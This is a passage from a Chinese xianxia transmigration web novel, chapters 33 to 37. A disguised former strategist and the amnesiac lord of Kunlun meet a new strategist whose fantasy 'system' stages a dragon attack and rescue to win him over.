只要让他不再执着的跟着她,回到昆仑不就好了?
就在朝玟蠢蠢欲动,想要再借机将他劝走的时候,沈修慈专注的盯着邪骨,下结论说:“这灵骨被炼化过。”
他对她请求:“宝物可否借我一用。”
朝玟歪头,目光透露出不解。
沈修慈见她一时没有反应过来,黑沉沉的眼睛望着她,直言道:“昆山灵玉。”
朝玟恍然,哦一声。
正好,她本来也想还给他。
朝玟用意念试了一下,根本对体内的灵玉没有任何感觉,她现在只是一个凡人,根本无法用灵力把玉取出来。
正当她觉得尴尬,想要出言解释的时候,昆山灵玉似乎察觉到了她的困扰,仿佛拥有了自己的意志,从她的胸前缓缓飞出。
柔和的白光在船舱内散开,照亮了每个角落,灵玉径直飘向了邪骨所在。
它不知做了什么,沈修慈用灵力无法拔除的魔气,它圆圆的身体,只是闪烁了几下,在便轻松地将那些浓重的黑色邪气吸收殆尽。毫不费力地就使那根骨头恢复了原本的洁白纯净。
灵骨在沈修慈的手里,好似一件饰品。
朝玟好奇问道:“你把它的魔气拔出之后,打算怎么处理?”
“既然是她的东西,当然是收好。”
收好?收好一根人的骨头吗?
朝玟拧眉,“不要了吧……怪渗人的。”
“万一她要回来。”沈修慈将灵骨贴身收好,不知想到了什么,眉眼柔和下来,道:“起码不会再有残缺。”
朝玟很不赞同的撇了撇嘴:她现在好好的回去干什么?
况且她就算是回去,也不会是以前的那副身体。
那一副为了攻略沈修慈而让系统凭空构造的躯壳,早就在金光崖底,被摔得渣都不剩了。
沈修慈把昆山灵玉推到朝玟面前:“还给你。”
朝玟不肯要:“不用了,你留着吧。”
沈修慈似乎有些不高兴:“这是你夫君给你的,你就这么干脆拱手给别人?”
朝玟给他一个疑惑的眼神。
还一口一个她夫君呢?不是心里有数吗?
她又想:沈修慈没有和她成婚以后相处十年的那些记忆。
现在的她对沈修慈而言,只是一个顶着妻子名分的陌生人,他恐怕还需要时间来适应这一切。这也可能是他尚未挑明关系的原因。
朝玟心想,她本就不打算与他相认,这样也好,省下许多麻烦。
她又拒绝道:“我又用不了,在我这儿它就是一块破石头,用处也不大,还是你留着吧,起码还能够让它发挥一些价值,不至于成一件懒散的摆件。”
昆山灵玉听了朝玟的话,又往沈修慈的方向靠。
沈修慈又没要,执意要把东西还给朝玟。
昆山灵玉在空中犹豫了几秒,又慢吞吞的向朝玟的面前飘。
朝玟拒绝它:“找他去,别找我。”
昆山灵玉作为至宝,头一次被人这么嫌弃,似乎感觉不可思议,停在两人中间沉思了几秒,突然生了气,嗖的一下,像一颗小炮弹不由分说的钻进了沈修慈胸口。
沈修慈伸手想要捞,可却只抚摸到平整洁净的衣襟。
昆山灵玉装死,和鹅卵石投入水中里那样,不再有任何反应。
34. 天仙撞船
朝玟乐得发出一声笑。
事已至此,沈修慈也只能接受这一现实。
他看着朝玟,薄唇上扬起一道细微的弧度。
朝玟:“我竟然不知道这玉中生了灵。”
沈修慈解释道:“它从天道创世之初,就一直存在至今,年纪与几位旧老相仿,开了灵识也实属正常。”他看着身侧开着盖子的药瓶,默默替朝玟收拾好。
这些动作轻车熟路,像是相处多年一般熟稔。
朝玟斜倚在船室的窗边,看向天空:“快到中午了,前面有驿站,先落个脚吧。”
她从昨天夜里到现在,又什么也没吃,现在正好感到饿了。
沈修慈应了一声好。
“你接下来有什么打算?”"朝玟心中盘算着如何摆脱沈修慈,突然开口问道。
她一边说着,一边轻轻歪头,将辫子上镶嵌的银饰取下,又拔下簪子,随后将一瀑乌黑的长发梳理顺畅。
昨晚的激战让她原本整洁的发髻变得凌乱,小辫子也散开了。虽然她不甚在意这些细节,但基本的仪容整洁还是必须要注意的。待会还要去驿站里,她做不到披头散发的见人。
沈修慈:“陪你用饭。”
朝玟闻言,手中编织的辫子瞬间走样:“……我是说昆仑和蓬莱的事情。”
“昆仑无故突然退婚,打了蓬莱仙山的脸,你可想好了该怎么收拾残局吗?”
她重新编起辫子,却意外地发现自己怎么也做不好这个简单的动作,不禁有些气恼。她不满地撇嘴,转头对沈修慈问道:“有镜子吗?”
沈修慈并不多话,只是轻轻抬手,向窗外轻轻一招,便有一道水流顺着他手势的方向轻轻流淌而出,转瞬间凝聚成一面光洁的明镜,静静地悬浮在朝玟的面前。
朝玟见状,满意地微微翘起嘴角,继续梳妆,她的姿态颇为闲适,整个人都显得非常放松。
终于,她编好了一条精致的小辫子,然而等待了半晌,却没听到沈修慈的回答。
她疑惑地抬起头,望向对面的沈修慈,这才发现他一直静静地注视着她。
哪怕是在昏暗的船室内,他也坐得十分端正,皮肤很白,眼角上扬却整体平直,眼睫微垂,眼眸黑沉沉的,不知看着她在想什么。
水波的光影中和了他眉眼的锋利与艳质,盯着她的目光,显得特别的柔和。
好端端的,朝玟突然就浑身不自在了,手捏在编好的辫子上,也忘了放开。
“你听见我说话了吗?”她提高声音道。
沈修慈轻轻点头,声音平静:“听见了。”
随后,他伸手递给朝玟一枚银饰,那是一个精巧的圆筒素圈,中央镶嵌着一颗小巧的绿色宝石,正是朝玟编发结束时所需用的装饰。
她没想到,他不仅在看她,还留意到了她编发的每一个细节。
朝玟的目光落在他的掌心,脸上闪过一丝不自然的表情,随即伸手接过银饰,将它固定在发辫的尾端,继续说。
“蓬莱和昆仑若是没了姻亲关系,新主和旧老之间的关系,该有多水生火热,你不是不清楚。”
“白昊山不满你是禅让继位,对你一直有不臣之心。”
“蓬莱本是中立,有意要拉拢你,可是悔婚这一个事情一出来,那就是在打他们的脸,现在联姻做不成,若是不能处理得当,亲家变仇家,白昊山若是煽风点火,怕是真的要大动干戈。”
“狱法之乱才过去没多久,现在打起来,得不偿失啊。”
朝玟顺利完成前摇,便又开始抓紧输出。
“道君不如先回昆仑,处理好当下和蓬莱的事,再做寻妻打算也不迟。”
沈修慈:“所言在理。”
嗯?这么顺利?这就能把他劝回去了?
朝玟惊讶的瞅他一眼。
他话锋一转:“只是回去,不急于一时。”
朝玟:“你得罪蓬莱,应当十万火急,怎么就不急了?”
他说:“得罪谈不上,蓬莱所求的,不过是要一个说法。”
朝玟:“虽说如此,可是若是不给出一个明确的说法,恐怕蓬莱不会善罢甘休。”
“那他们为何不会善罢甘休?”
“自然是因为你悔婚在先。”
沈修慈:“那我为什么要悔婚?”
“当然是因为你……”你已经有了一枚同心印,无法再合别人合籍。
朝玟突然不可思议,惊诧的望着他,十分紧张道。
“你……你该不会是打算向他们全盘托出吧?”
沈修慈的回答沉稳而坚定:“此事关系重大,即便是昆仑殿中,也只有岑源一人知晓内情。除非是万不得已,我不会透露分毫。”
饶是他这么说,可是朝玟仍然感受到了威胁。
她现在才发现她想错了:沈修慈并不是为了解决同心印的疑惑,而下界找她的。而是因为想要给蓬莱一个交代,所以才想要找到朝玟。
他计划周密,事事周全,秘密下界绝不是临时起意。
她之前居然觉得,沈修慈下来找他是因为感情的原因,是冲动行事,只需稍加劝说,让他意识到严重性,便可以将他劝回去了。
毕竟蓬莱那边急需要他回去处理,哪怕是再想要找回妻子,肯定也会考虑事情的轻重缓急。
朝玟觉得自己愚蠢天真。
朝玟从没有把沈修慈会给蓬莱一个交代这件事情,和她自己联系到一起。
……
此时的朝玟,突然发现自己陷入了前所未有的棘手境地。
她迟疑了片刻,虽然心中并没有抱太大的期望,还是忍不住问了一句:“那你找到那个人之后,打算怎么办?”
沈修慈的回答出乎意料,他眼睫颤了颤,似是迷茫道:“我不知道。”
朝玟闻言,移开了视线,冷笑了一声。
怎么会不知道呢?
找到后,把她带回去,向蓬莱谢罪咯。
朝玟不再回话,二人之间陷入僵局。
朝玟意识到,她会被推出去。
她从不害怕直面血雨腥风,但她无法接受的是,自己竟会作为一个借口被人推出去牺牲掉,尤其是这个推她出去的人还是沈修慈。
可沈修慈没有记忆,对待朝玟比从前一定更加客观,这在情理之中。
朝玟理智上全都明白,只是,她也说不上来心中突然的失望是怎么回事。
若是沈修慈,真想把她抓回去的话,跑也跑不掉,她也没有任何的办法。
朝玟处于被动境地。
她凡事都看得很透彻,因此不是一个容易动怒的人,可此刻,愤怒在胸腔瘀堵,无名的怒火来势汹汹,让她想发泄,却找不到理由。
朝玟蓦然站起来,冷眼睨一眼沈修慈,语调快而平道:“船室太闷,我出去吹吹风。”
说完,便站了起来,想要走。
手腕却被立刻拉住,挣脱不得。
朝玟烦躁:“干什么?”
沈修慈的视线从握住她的手缓缓上移,最终落在她的脸上,似乎是在观察她眼底的情绪。
沈修慈问:“为什么生气?”
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朝玟:“谁生气了?你想多了。”
沈修慈继续问:“你不是说,你对我只有算计,只没有感情吗?那为什么要因为我把你当筹码而生气?”
朝玟冷笑:“道君糊涂了吧,那是你把你的妻子当做挡箭牌,关我什么事?”
船陡然剧烈颠簸了一下,像是撞上了什么巨大的东西,差点被掀翻。
两个人身形各自晃动,朝玟的身体扶不稳,向后栽倒——
沈修慈扶住她,两个人滚了几圈。
朝玟心里正恨他,在船身基本稳定之后,又立刻把他甩开,为了狠狠的把他推开,连姿态都不顾了,狼狈的向外爬去,她掀开竹帘,直到走到外面,才站了起来。
……
朝玟一接触到外面的阳光,顿感双眼刺痛,眼眶仿佛被针扎般疼,她本想紧紧闭上眼睛以避开这强烈的光线,但眼前的突变却让她不得不瞪大双眼。
不知从何而来的两条蛟龙,突然从水面腾空而起,就在不远的距离,它们盘旋翻滚,宛如两道肆虐的龙卷风。
在这两条蛟龙之间,有一个翩翩身影正与之激烈交战,虽然看似脆弱,却坚韧不拔。
那名女子一身鹅黄的衣裙,如同天仙般飘逸,正在空中与蛟龙搏斗。
她手中的招式华丽而流畅,舞动着一根丝绸,刚柔并济,十分美观,虽然形势看起来岌岌可危,但她始终不曾落下风。
关曦虽说在打斗,可是眼神的余光却时不时的往仙舟的方向瞟,看着船头出来一个人,碧绿衣裳,虽隔得远看不清楚的样子,但是能够辨认出这是一个女子。
她拧起秀气的眉毛,在脑海中对系统说:“你不是说沈修慈在这艘船上吗?怎么出来的却是一个女人?”
系统机械音卡了几下,像是在查找什么,对关曦肯定道:“他的确在这艘船上,你再等等。”
关曦又挥一下绸带,将靠近攻击的蛟龙抽飞出去,不耐烦道:“不是说做做样子吗?你怎么召了这么强的两个东西来对付我?”
系统:“冤枉啊,大小姐,这条河里就只剩下这两只妖蛟龙了,其他的虾兵蟹将都已经被它们吞食一空,实在是找不到其他目标人选了。”
关曦:“这里没有,你不会从别的地方调吗?”
她又骂道:“我真不明白,舅舅为什么要让你这个废物东西来辅助我,一点用都没有,除了拍马屁,办事没一件顺意的。”
调来调去,说的容易,系统忍气吞声,不发一言。
不出所料,片刻之后,一只手掀开了竹帘,沈修慈从船舱中走了出来。
关曦眼中闪过一丝喜悦,“系统,准备好了吗?我数三二一,你立刻动手。”
关曦再次与那两条蛟龙交手几回合,只见突然间,原本还不落下风的身影,没有任何防备的被其中一条蛟龙偷袭得逞,一个摆尾,猛地甩飞了出去。
那道鹅黄明快的身影,飞了出去。
朝玟面露惊恐,脑海中一片混乱,内心啊啊啊的尖叫,狂呼着不要。
那个人被甩飞的方向,恰好是仙舟的方向。
尽管她飞来的姿态优雅得如同天女下凡,手指还漂亮的翘成了兰花指,但飞来的速度实在是太快,要是以这样的速度撞上来,一定会在船上砸出一个大洞。
那时候,他们三人都会掉入水中,全身湿透变成落汤鸡。
哦,不对,他们三人中只有朝玟是凡人,也就是说,只有她会变成落汤鸡。
朝玟安心地闭上双眼,等待着船被撞飞,心中平静骂道。
这操蛋的仙侠世界。
35. 一箭双雕
这时,沈修慈出手了,只见一道白色的身影从朝玟身旁迅速掠出。他原地跃起,在距离船只不到五米的半空,拦腰接住了关曦。
男子眼形狭长,下眼帘却略圆润,温润又清秀,身姿如利剑出鞘般干脆利落。
沈修慈的样貌,在仙域可谓无人不知,于是在出手的那一刻,他又用回了岑守心的化身。
朝玟看着他光洁的额头,沉默了。
这同心印不是可以隐藏吗?
怎么不仅让她看到,还保持了一路?
敢情他疑心起得那么早?甚至早在昆山灵玉暴露以前。
朝玟把先前见到沈修慈的经历又回忆了一遍,没有发现她之前有任何的可疑之处。
难道是因为她在神旋府驾车时,她凝视他的目光停留得稍久了些?
但就凭眼神就把她怀疑了,这也立不住脚。
天上,沈修慈接住了关曦后,两人一起就要落到船上来。
俊男靓女,一个惊慌失措却不失娇羞,另外一个神色冷峻,动作却很体贴。
冰冷冷的风随着这番大动静在朝玟的脸上胡乱乱的拍,她抹了一把被风吹乱的凌乱碎发,看着他们两个人在天上转圈圈。
这秋风这么寒凉,却仿佛有五彩缤纷的花,随着他们飞到船上的动作缓缓落下。
朝玟仿佛还听到了柔情似水烘托气氛的bgm,随着这英雄救美的一幕在耳边响起。
动物天生具备一种感知危险的本能,那两条蛟龙似乎感受到了沈修慈身上更为强烈的危险信号。它们没有继续穷追不舍,而是猛地一扭身,悄无声息地没入了水底,再次消失在了深邃的碧波之下。
水面之上又恢复了平静。
那名女子被救下之后,压根没有往朝玟的方向看,双眼对这个世界视若无睹,视线中仿佛只能容下将她救下的沈修慈。
她心有余悸,害怕的啊了一声,继而双腿发软,浑身无力似的倒在了沈修慈的怀里。
沈修慈在她向后仰倒的瞬间撒开手。
关曦险些后脑勺着地,发出一声惊叫,腰部发力,硬生生的做了一个引体,才又稳住身体。
幸而她身姿柔韧,容貌俏丽,这一动作在她做来并未显得有何不协调。
关曦带着一丝羞涩地干笑了一声,轻声问道:“多谢道君搭救,敢问道君姓名?”
沈修慈整理了一下被弄乱的衣襟:“举手之劳,不足挂齿。”
“怎么能这么说呢,”关曦坚持道,“救命之恩,理应予以重礼,以表感激。”
她继续道:“若道君不吝告知姓名,他日回到仙域,我必定备上厚礼,亲自上门致谢。”
“姑娘心意我心领了。”
他也坚持,十分客气道。
“你既然已安然无恙,危机也已解除,便请在此处离去吧。”
关曦在脑海里疑惑的系统说:“你确定他就是沈修慈吗?”
系统肯定道:“没错,我的定位指向的就是这个人,应该是易容了,但可以肯定就是他。”
关曦不满道:“他怎么这个态度啊?”
系统的话语中透露出一丝疲惫,无奈地拖长声音说道:“正常啦,上一周目的那个攻略者,用了十年才快把好感度刷满,您就想凭这一面就让他像别的男人一样对您死心塌地,不可能啦。”
“他一定是没有发现我就是他的未婚妻,所以他才对我这么冷漠的。”
关曦想着,拨动了一下腰间的一块嫩黄色的玉佩。
沈修慈看没看过去不知道,反正朝玟是一眼就看见了。
她的眼睛瞪得大大的,迅速转身,紧接着急匆匆地躲进船舱,抓起沈修慈放置的幕篱戴在头顶,然后再次匆匆走出。
朝玟手忙脚乱地整理着幕篱的轻薄纱幕,站在沈修慈和关曦的面前。
沈修慈问:“怎么了?”
朝玟干笑几声,答道:“啊哈哈……突然觉得风有些猛烈,吹得我头有点晕,不用担心我。”她一边说,一边调整了一下头顶的幕篱,直到感觉安全了,这才安静地放松下来。
风的确大了起来,沈修慈沉思片刻,说道:“既如此,便戴好,小心着凉。”
关曦被晾在一旁,这才又注意到朝玟,对她突然插入感到不满,注意到沈修慈对朝玟的关心,她的目光不自觉地流露出一丝占有欲,带着一种不容忽视的气场,对朝玟道:“你是谁?”
朝玟回答道:“我是一名代驾,隶属于灵闻阁的千里记行,是为这位道君驾船的。”
沈修慈闻言,微微抬起眼眸,淡淡地扫了朝玟一眼。
朝玟隔着幕篱,心中有些发虚,避开了他的目光。
关曦的视线中带着审视,她皱起眉头,心中再次询问系统:“什么是千里记行?这难道不是仙侠世界吗?怎么还会有代驾这种存在?”
这位大小姐是沙执行官的外甥女,家世显赫,备受宠爱。
她不久前才入职,执行任务时从不细看资料,系统向她解释道。
“只是同名的相似的职务而已,人间灵闻阁这个组织很强,底下产业无数,几乎所有行业都有包揽,和仙域来往密切,连昆仑殿都要礼让三分。”
关曦闻言,又问:“那我岂不是要对她客气点?”
思量着,一边对朝玟微微点头,美目流转间,准备投去一个略微客气的微笑。
系统又解释说:“这代驾的产业只是灵闻阁的产业之一,此人是给沈修慈驾船的,破打工的,不必过多理会。”
关曦冷哼一声,撤回一个笑容:“蠢东西不早说?浪费我表情。”
同为破打工的,系统立刻遭反噬,为了避免再被骂个狗血淋漓,紧急回避:“大小姐你随意发挥,有需要再叫我。”
关曦轻轻扫了一眼朝玟,随即转过头,自信地绽放出一个明媚而甜美的笑容。她用柔和的声线对沈修慈说道:“我叫关曦,关心的关,和曦的曦,不知二位这是要到哪里去?”
沈修慈听她问完后,又看向朝玟,像是示意让她替他讲。
朝玟求之不得,生怕沈修慈说出什么不该说的,立刻回答:“他要去京城。”
关曦扬起一个惊讶的笑容:“是吗?真是巧啊,我正好也要去京城。”
“这里水域危险,有两条蛟龙作恶,时常撞翻船只,颇不好对付,我的船已经被那两个孽畜毁了,看道君修为高深,惹那妖物忌惮,若是不介意的话,能否和我结个伴?”
沈修慈闻言,本欲回答,却不知为何,最终没有出声,而是将目光再次投向了朝玟。
关曦见状,连忙补充道:“你放心,不会麻烦你的。”
她敏锐的发现,想要加入这艘船,还是得这个开船的代驾做主,转眼又看朝玟:“我有钱,船上再加我一个行不行?要多少都没问题。”
如此财大气粗又爽快,没有
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人会跟钱过不去,朝玟半点都不带犹豫,连连点头。
她迎宾站立一旁,邀请道:“尊贵的客人,船室里请。”
朝玟在看到关曦之后,方才心中的郁结一扫而空。
她可太高兴了。
这人虽然没有挑明身份,但她的腰间挂着的,正是朝玟以前在蓬莱时的令牌。
她突然出现在这里,还弄出一出英雄救美的戏码,太有目的性了,毫无疑问,关曦便是那个接替朝玟,继续执行攻略任务的新任攻略者。
真是老乡见老乡,说不出的亲切。
朝玟虽说和系统闹掰,但内心深处对穿书局仍怀有深深的归属感,这份情感远远超过了她在当前世界所获得的一切。
毕竟,世界之外的那个地方,才是她真正的家,而这里,而这里只是她的漂泊之地。
除此之外,她高兴的另一个原因是:关曦能出现在这里,就说明任务还在继续推进,她就还有希望跟着一起返回现世。
而且她的出现,也给朝玟现在所处的被动局面带来全新的转机。或许可以让沈修慈重新权衡利弊,不再执着于跟着朝玟,而是跟关曦回去。
朝玟想,这样一箭双雕对她十足有利的好事,她得为他们创造条件。
关曦被她笑眯眯的请了进去。
那嫩黄色的裙摆随着她的步伐消失在竹帘之后,朝玟随即转过头,目光落在了一旁的沈修慈身上。她轻轻提起竹帘,收敛了几分笑,目光平静的示意他也进去。
沈修慈定眼看了眼朝玟,什么也没说,随即接过朝玟手中的竹帘一角,弯腰侧身,也跟着走进了竹帘之内。
朝玟却没有跟着进去。
她虽然对关曦的到来感到惊喜,但也有所顾忌。
和关曦同路一起回京,对朝玟而言,是一件十分冒险的事。
这次同行,有可能会暴露朝玟的身份,让系统发现她还活着的事实。
她当初死遁,将系统的利益置于不管不顾的绝境,系统为了粉饰太平,和沙执行官一起瞒住了朝玟的死,但是朝玟要是又活过来,那一切太平的脆弱假象,就会又会被撕扯得粉碎。
系统绝对不能够接受朝玟还活着。
里面的关曦轻咳一声:“有水吗?”
朝玟的包袱里还有一壶水,听闻,忙掀开竹帘,将水递给她,也顺便观察她。
朝玟笑着道:“姑娘要什么再跟我说,我姓赵,姑娘喊我赵伙计就好。”
关曦连眼皮都懒得抬一下,对朝玟报出的姓名也显得兴趣缺缺,只是淡淡应了一声。
她背对着她,用那只纤细的手接过了朝玟递来的水袋,随后又将竹帘放下。
关曦……并没有使用朝玟之前的那张脸。像她这样高傲的人,大概不屑于使用他人的容貌,所以这很可能是她原本的容颜。
这个新的攻略者,很眼生啊。
之前在局里,也从来没有听过这个名字。
应当是朝玟进入了这个任务世界之后,才入职的新员工。
观其举止,似乎擅长察言观色,但脾气似乎并不那么和善。
这不禁让朝玟想起了同样善于见风使舵的系统。
系统和自己绑定之初,曾因她过往的战绩而对她百般讨好谄媚过一段时间,后来任务迟迟无法推进,便逐渐不耐烦。
不知道没了她,系统和这位看起来就很高傲的大小姐,相处得如何?
36. 一见如故
船室内,沈修慈和关曦面对面坐着,朝玟则在船头,煞有介事的操纵着仙舟。
她可不想和关曦正面接触,况且,她也不想再和沈修慈呆在一起。
让她接着和沈修慈大眼瞪小眼,倒不如,留给关曦和沈修慈一段独处的私人时间。
希望她抓紧攻略。
只是两人在船室内坐好之后,却迟迟不做声。
关曦一改刚才热情的常态,自己做自己的事,偶尔看他一眼,不轻易发话。
她觉得既然是要攻略,自然要矜持。
最好让男士主动开口。
这样才能掌握主动权。
只是二人都坦然沉默,却有一人在外着急。
朝玟在外等候了片刻,终于忍不住开口说道。
“关姑娘,我们在前面的驿站,会稍停一下,你不介意吧?”
关曦疑问:“为什么要停?”
关曦也是不用吃五谷的仙人,朝玟不好意思说饿,找了个理由。
“仙舟储备的灵力快用完了,要到驿站补充一下灵力。”
关曦若有所思:“哦……不着急,我看你似乎是凡人吧?眼看着就要到中午了,不如我们一同用饭,稍作休整,再继续前行,仙君意下如何?”
她也想要吃饭,这里仙人不用吃五谷的设定让她感觉遭罪极了。
朝玟赞同:“道君以为呢?”
沈修慈点点头,“好。”却不知在回哪一句。
关曦觉得沈修慈对她的态度有所软化,眉梢染上喜色,语调甜腻腻的撒娇,又说:“刚才道君还未回答我,你的名字是什么呢。”
沈修慈的这一副皮相很对关曦的胃口,清秀锋利有余,可性格着实太寡淡,她喜欢热情又爱笑的美人,会哄她开心,这点最重要。
可是沈修慈虽然不对她的口味,却也实在是有一番别样的魅力,勾起了她对于强者本能的仰慕,使她罕见地产生了想要主动接近、向他示好的念头。
朝玟看沈修慈又不回答人家,又没忍住插嘴道:“他姓沈。”
关曦心中奇怪,怎么又是这个代驾帮忙回答?但并未多想,而是笑声清脆地从船室中传出,声音明亮地呼唤:“沈道君。”
她也知道沈修慈的名字象征着什么,不太好轻易说出口,于是便也一口一个沈道君的喊起来。
沈修慈依旧是那一成不变的平直语调,却打破了沉默,与关曦开始了闲谈。
“姑娘可付得起船费?”
关曦轻松地回应:“自然不在话下。”随后,她提高声音,询问外面的朝玟:“赵……赵姑娘,我要付多少?”
也许是觉得朝玟声音年轻,即便是关曦目下无尘,那两个伙计的称呼,怎么也喊不出口。
沈修慈也如同朝玟一般,先开口道:“船费五千金。”
关曦不太清楚这是什么概念,利落摆手,一口应答:“不在话下。”
系统发出尖锐的爆鸣:“大小姐,我们没有带这么多钱,不要答应得这么爽快!这分明是抢钱啊!”
关曦笑着眨了眨眼,歪头不解。
朝玟则咯噔一下,回头瞪了一眼沈修慈,担心这样会损害灵闻阁的声誉,随即向关曦解释:“这是去霜澜城时的单价,现在并不是这个数,怪我没有跟二位说清楚,别见怪哈。”
沈修慈接话道:“那是我记错了,还望关姑娘不要介意。”
关曦向他示好:“我怎么会和道君计较呢?你救了我,我感激还来不及呢。”
沈修慈道:“你既然身上有银两,要想避开那两条蛟龙,待会上了岸,走陆路便可,何必担惊受怕?”
“话虽如此,可我对道君一见如故,想和你交个朋友。”
关曦满眼热切地注视着他。
沈修慈眼底微微露出些笑意,却不辨情绪,似乎有些困惑,问道。
“如何一见如故?”
关曦被问得一怔,心中暗暗觉得麻烦,觉得问题也太刁钻了,可她又立刻露出一个十足自信的笑:“道君救我时,身姿英姿飒爽,我觉得,道君是个厉害的人,故而对你心生钦慕,所以想要和你交朋友。”
她略微前倾上身,探头问。
“若是非要找个理由的话,这个理由行不行?”
沈修慈并未立刻说行还是不行。
朝玟在外面笑,替关曦打圆场:“姑娘真是痴人,一见如故需要什么理由。”
她明晃晃的撮合道:“这位沈道君英勇救美,救了关姑娘于危难之中,而姑娘你与蛟龙搏斗,同样也是救了沈道君。这救人又自救,可不是结下了一段善缘?”
“二位恰好又同是仙域之人,如今又同乘一艘渡船,可见彼此间的缘分非同一般,便是一见倾心,也是使得的。”
没想到朝玟这么会说话,关曦娇羞:“赵姑娘说笑了,我和这位道君,自是有缘。”
沈修慈却淡然开口:“世间有缘之人众多,擦肩而过的瞬间是有缘,目光相交的一刻亦是有缘。”
“但并非所有有缘人,最终都能成为有情人。”
朝玟:“……”。
关曦咯咯笑了两声:“自然如此,感情是需要培养的,没想到沈道君还颇有见解。”
她追问:“那依道君所言,有缘人该怎么变成有情人呢?”
沈修慈微微一笑:“若非长久相处过,岂能生情?”
关曦胜券在握:“我既然诚信和道君交朋友,自然会让道君慢慢了解我。”
沈修慈并不接茬,微微偏头,看向窗外的江水。
之后,关曦和沈修慈有一搭没一搭的聊着,朝玟则在外竖起耳朵旁听,只听得二人讲的都是无关紧要的事,无论沈修慈说什么,朝玟都能听到关曦清脆的笑声。
仙舟平稳地停靠在驿站码头边,朝玟将船只妥善停泊后,两人也跟着下了船。
沈修慈在关曦之后下船,等关曦被前面的风景吸引,走得远些了,朝玟借着扶他下船的动作,悄悄拉住他。
他感受到那轻微的拉扯,目光中流露出询问之意。
朝玟考虑到接下来需要摘下幕篱,决定和他不计前嫌,踌躇了几秒,道:“你也帮我易个容,行吗?”
沈修慈双眼微垂,静静地看着她。
见他不答话,朝玟着急:“行不行啊?”
沈修慈又被她扯了扯袖子,感受着她心里的急切,说道:“可以,只是你得答应我件事。”
朝玟松开他的袖口,目光警惕,问:“答应什么?”
该不会是什么霸王条款吧?
以前沈修慈答应她任何事,从来不会开条件的。
但沈修慈失去了记忆,对她的态度大不如以往,变得和郑舒一样利益至上,也极有可能。
说不定会说出让她必须跟他回昆仑这种话也说不定。
在沈修慈的沉默下,朝玟妥协:“好吧,你想让我答应你什么?”
朝玟静静地站在那里,等待着他开口,心中却是波澜起伏。委屈、难过、不甘,种种情绪交织,但最强烈的,莫过于那股愤怒。
她对自己现在一无所有,甚至不配和沈修慈谈条件而愤怒。
她没有穿书局和系统赋予的光环和身份,不是什么手握重权的蓬莱王姬,她现在只是她自己。
只是一个再普通不过的普通人。
而沈修慈依旧是高高在上的昆仑之主,如今要想再向他索取什么,只能等待他几乎好心的施舍。
而她对此现状无力改变,也无能为力。
她突然无比清晰的感觉到了她和沈修慈之间的鸿沟。
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朝玟心中嘲弄一笑。
就当朝玟胸膛起伏不定,等着沈修慈跟她说出什么过分的条件的时候。
他思考片刻,只对着她说了一句。
“我希望你以后不要再对我说谎。”
接着他又认真补充:“对别人,倒是无妨。”
“什么?”
朝玟的语气里全是困惑。
“你就让我答应你这个?”
正午的阳光并不热烈,由于起了风,云层聚拢,让天空带着些惨白的颜色。
日影照在树的枝杈上,投落下一地摇晃的影子,晃动的毫无章法。
沈修慈没有停顿,按照正常回答的速度,对朝玟说:“是。”
他清隽淡然的脸上只有认真。
他想要她答应的,就是这件小事?
朝玟突然笑出了声。
他怎么能分辨出她的每一句话,哪句是真话,哪句是谎言?
这根本不能说是一个要求。
“起风了。”沈修慈目光下敛,看着她被吹拂得翻滚的幕篱白纱,提醒道:“此处风大,驿站中热茶,快些走吧。”
他先往前走去,阳光照在他的身上,留下一个笔直挺阔的背影。
朝玟看着他的背影,又低头看了眼自己的脚尖,呢喃道:“是该快点走了。”
声音很轻,被风吹落在原地。
……
三人在驿站的酒楼中,找了一个靠窗的位置坐下。
沈修慈和关曦坐一边,朝玟坐她们二人对面。
沈修慈问朝玟:“你想吃什么?”
朝玟想着攻略得趁热打铁,便将话抛给了关曦:“关姑娘想吃点什么?”
关曦微笑:“我没有什么忌口,道君呢?”
沈修慈:“我也没有,让赵姑娘点吧。”
见点菜这个环节绕了一圈,又绕回了自己的身上,朝玟讪讪的应承下来:“好吧……那我就看着办了。”
关曦双手撑着长条凳的边缘,带着隐晦的亲昵,身体向沈修慈的放向靠近了些,问道:“道君有什么爱吃的菜吗?”
“我不怎么吃人间的食物,我爱吃什么,我也说不上来。
关曦了然的哦了一声,笑道:“那正好,我对人间的美食颇有见解,道君可以尝尝看,说不定就有喜欢的了呢?”
说完,她改了主意,对朝玟说,伸手讨要菜单:“我来点菜吧。”
朝玟一行菜名都没看完,手中的菜单就被关曦拿了过去。
她感到一丝失落,双手无处安放地放在桌上,显得有些尴尬。于是,她只得放下双手,抬头看向关曦,微笑着说:“我听说,沈道君以前从不沾染五谷,没想到你一提,他竟然就改变了主意。可见,这位沈道君对姑娘真是不一般。”
沈修慈正在喝茶,听后,放下茶杯,眼眸微冷。
关曦喜上眉梢,俏皮地抬起眼眸看向朝玟,还调皮地吐了吐舌头,说道:“那也是道君豁达。”
她转向沈修慈,指着菜单上的某道菜,兴奋地说:“这道菜,我之前尝过,味道好极了。不知道这里的厨子做得如何,道君要不要试试看?”
“不必了。”沈修慈在关曦点完菜后,从她手中取过菜单,然后向店家又说了几道菜。
朝玟不禁讶然。
那些菜,竟然都是她之前所点过的,而且都是她喜欢的菜品。
接下来就是漫长的等待过程。
朝玟仍带着幕篱,感觉关曦视线无聊的在自己的脸上巡视,等待最是枯燥,也让关曦有了正眼看朝玟的兴趣。
那幕篱看着轻薄,但一点光都透不进去,关曦想要看清她的样子,不满道。
“你怎么还带着这个东西啊,已经没有风了,怎么还不摘下来?”
37. 亡羊补牢
朝玟装作恍然:“瞧我,都忘了。”说罢,手捏住幕篱的帽沿,背后紧张的沁出冷汗。
她并没有感觉到有任何被施展术法的痕迹,不知道沈修慈有没有信守承诺。
然而,此刻也容不得她犹豫不决。
深吸一口气,朝玟果断地一把摘下幕篱。
关曦双手交叉,手背绷直,下巴轻轻搁在指尖,挑了挑眉。
刚瞥见朝玟的时候,她正在天上和蛟龙打斗,隔得太远。
在船上的时候隔着竹帘,朝玟又带着幕篱,不示真容,到了现在,方才看清她长什么样。
很普通嘛。
一张脸几乎没有过人之处,与关曦那令人瞩目的美貌,完全不能比,顶多称为白皙干净。
就是这个赵姑娘,有一双很有意思的眼睛。
那一双眼睛,眼中神彩温润而不张扬,和她对视,有种不可捉摸,深不见底之感,只是她一笑,流露出几分情绪来,那惹人探究的感觉又淡了,给人感觉十分亲切,明媚如花开。
可见,此人心思单纯,给人看似不简单的感觉,只是因为皮相,长得聪明罢了。
关曦看着她,那种一直被她忽视的危机感骤然消除,让她心中松了一口气。
